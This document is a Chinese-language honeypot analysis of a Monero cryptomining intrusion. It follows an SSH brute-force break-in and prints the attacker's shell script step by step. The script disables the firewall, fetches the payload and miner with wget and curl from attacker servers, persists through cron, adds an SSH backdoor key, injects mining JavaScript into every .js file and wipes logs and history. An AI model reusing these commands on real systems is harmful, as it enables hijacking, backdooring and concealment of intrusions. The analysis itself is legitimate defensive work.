XMR恶意挖矿案例简析

前言

数字货币因其技术去中性化和经济价值等属性，逐渐成为大众关注的焦点，同时通过恶意挖矿获取数字货币是黑灰色产业获取收益的重要途径。本文简析通过蜜罐获取的XMR恶意挖矿事件：攻击者通过爆破SSH获取系统权限，配置root用户免密登录,并下载及执行XMR 挖矿程序，及XMR 网页挖矿程序。XMR挖矿程序耗肉鸡CPU/GPU资源，网页挖矿程序耗访问肉鸡服务器JS 网页的客户端资源。

2018年10月11日，攻击者使用恶意IP(223.89.72.8)暴力破解Victim的SSH服务成功，获取系统账号权限。

2）关闭Victim的防火墙

通过暴力破解获得的账号登录Victim并，进入工作目录/tmp,并尝试关闭主机防火墙。

[email protected]:~#cd/tmp [email protected]:~#/etc/init.d/iptablesstop [email protected]:~#serviceiptablesstop [email protected]:~#SuSefirewall2stop [email protected]:~#reSuSefirewall2stop 3）下载恶意脚本

命令Victim从Malware Server（140.143.35.89:43768）下载恶意文件shz.sh：

[email protected]:/tmp#wgethttp://140.143.35.89:43768/shz.sh [4l--2018-10-1119:07:34--http://140.143.35.89:43768/shz.sh Connectingto140.143.35.89:43768...connected. HTTPrequestsent,awaitingresponse...200OK Length:7470(7K)[application/octet-stream] Savingto:`/tmp/shz.sh‘ 58%[======================>]4,38041K/seta0s 100%[======================================>]7,47041K/s 2018-10-**:*:*(41KB/s)-`/tmp/shz.sh‘saved[7470/7470] 二、执行恶意脚本

获取Victim肉鸡权限及下载恶意脚本后，命令Victim执行/tmp/shz.sh，下面简析shz.sh的恶意行为。

1）开始执行 [email protected]:/tmp#shshz.sh& 2）基本配置

获取Victim的定时Crontab定时任务文件及内容，SSH登录的公钥，更改下载文件命令及变量定义等基本配置。

#!/bin/sh #Crontab定时任务(crontab-e) crondir=‘/var/spool/cron/‘"$USER" cont=`cat${crondir}` #SSH登录公钥 ssht=`cat/root/.ssh/authorized_keys` #自定义变量 echo1>/etc/gmbpr rtdir="/etc/gmbpr" bbdir="/usr/bin/curl" bbdira="/usr/bin/url" ccdir="/usr/bin/wget" ccdira="/usr/bin/get" #更改命令名称 mv/usr/bin/wget/usr/bin/get mv/usr/bin/curl/usr/bin/url 3）判断账号权限（特殊权限）

如果文件/etc/gmbpr存在，即被暴力破解的账号有/etc写权限，一般root。设置工作目录为/etc：

if[-f"$rtdir"]

3.1 定时任务+无密登录

#将恶意脚本/etc/shz.sh加入系统crontab定时任务中 [[$cont=~"shz.sh"]]||echo"*****sh/etc/shz.sh>/dev/null2>&1">>${crondir} #将攻击者的SSH登录公钥加入authorized_key中，用于无密登录ssh [[$ssht=~"xvsRtqHLMWoh"]]||echo"ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfi PAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqH LMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8Ybq [email protected]_me">>/root/.ssh/authorized_keys

3.2 恶意挖矿的配置文件

如果配置文件/etc/com.json不存在，则从http://140.143.35.89:43768/com.json下载至/etc/com.json。

cfg="/etc/com.json" if[-f"$cfg"] then echo"existsconfig" else if[-f"$bbdir"] then curl--connect-timeout10--retry100http://140.143.35.89:43768/com.json>/et c/com.json elif[-f"$bbdira"]


/com.json
elif[-f"$ccdir"]
wget--timeout=10--tries=100-P/etchttp://140.143.35.89:43768/com.json

fi fi

3.3 ELF挖矿主程序

从http://zjgw-1256891197.cos.ap-beijing.myqcloud.com下载恶意挖矿主程序zjgw至/etc。zjgw为elf格式的二进制文件。

if[-f"$bbdir"]


curl--connect-timeout10--retry100http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zjgw>/etc/zjgw
elif[-f"$bbdira"]
url--connect-timeout10--retry100http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zjgw>/etc/zjgw
elif[-f"$ccdir"]
wget--timeout=10--tries=100-P/etchttp://dwz.cn/hqCK3WKx

fi

3.4 运行恶意挖矿程序

挖矿程序zjgw+配置文件com.json：

chmod777zjgw #com.json配置文件中将unknow替换成字符${ip} sed-i"s/unknow/${ip}/g"com.json sleep5s #执行挖矿程序 ./zjgw--config=com.json #清除命令日志痕迹 history-c echo>/root/.bash_history

3.5 下载并运行shz.sh脚本文件

shdir=‘/etc/shz.sh‘ if[-f"$shdir"]


echo"existsshell"
curl--connect-timeout10--retry100http://140.143.35.89:43768/shz.sh>/etc/shz.sh
wget--timeout=10--tries=100-P/etchttp://140.143.35.89:43768/shz.sh

sh/etc/shz.sh fi 4）判断账号权限（普通权限）

如果文件/etc/gmbpr不存在，即被暴力破解的账号是常规用户权限，添加启动脚本至Crontab定时任务中。设置工作目录为/tmp：

4.1）下载配置文件com.json至/tmp

4.2）下载挖矿主程序zjgw至/tmp

4.3）运行恶意挖矿程序+配置文件（同3.4）

4.4）下载并运行恶意脚本/tmp/shz.sh（同3.5）

5）Monero Javascript网页挖矿

在Victim全盘查找js文件，并插入网页挖矿JS脚本document.write(‘<script src=”http://t.cn/EvlonFh“></script><script>OMINEId(“e02cf4ce91284dab9bc3fc4cc2a65e28″,”-1″)</script>’);

find/-name‘*.js‘|xargsgrep-Lf4ce9|xargssed-i‘$a\document.write$‘\‘\<script\src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\ >OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"$\</script\>\‘\)\; 6）清除痕迹

攻击者清除攻击日志痕迹

echo>/var/spool/mail/root echo>/var/log/wtmp echo>/var/log/secure三、执行ELF挖矿程序 1）挖矿配置文件com.json

通过配置文件查看到XMR数字货币的挖矿算法、挖矿地址和钱包地址等：

{

#XMR门罗币的主要共识机制（挖矿算法）:cryptonight

"algo":"cryptonight",

"api":{

"port":0,

"access-token":null,

"worker-id":null,

"ipv6":false,

"restricted":true

},

"av":0,

"background":true,

"colors":true,

"cpu-priority":5,

"donate-level":1,

"log-file":null,

"max-cpu-usage":90,

"pools":[

{

#挖矿地址

"url":"stratum+tcp://xmr.f2pool.com:13531",

#钱包地址

"user":

"46j2hc8eJbZZST8L4cpmLdjKKvWnggQVt9HRLYHsCKHUZbuok15X93ag9djxnt2mdpdJPRCsvuHzm92iahdpBxZa3FbBovX.unknow",

"pass":"x",

"keepalive":true,

"nicehash":false,

"variant":-1

],

"print-time":60,

"retries":99999,

"retry-pause":5,

"safe":false,

"syslog":false,

}

2）挖矿主程序zjgw

zjgw为64为的elf二进制文件，VirusTal检出功能包含了挖矿功能。

截止当前，攻击者恶意ELF程序使用f2pool矿池，上述钱包地址相关收益信息：

（1）164矿工正在线进行挖矿；

（2）共捕获254矿工；

（3）此钱包地址总收益4.7XMR，按当前市场价格736RMB价格计算，约收获3459RMB

（4）这些矿工，可能很多是攻击者捕获的肉鸡；攻击者也可能还有更多其他的钱包地址及肉鸡矿工即进行获益。

短网址指向https://xmr.omine.org/assets/v7.js

HTTP/1.1302Found Date:Mon,15Oct201808:02:12GMT Content-Type:text/html;charset=UTF-8 Content-Length:216 Connection:keep-alive Set-Cookie:aliyungf_tc=AQAAAN65sGSyOQcAihDut35iYAxQi2Sj;Path=/;HttpOnly Server:nginx Location:https://xmr.omine.org/assets/v7.js 2）curl https://xmr.omine.org/assets/v7.js

javascript脚本文件，包含了矿池地址wss://xmr.ominie.org:8181：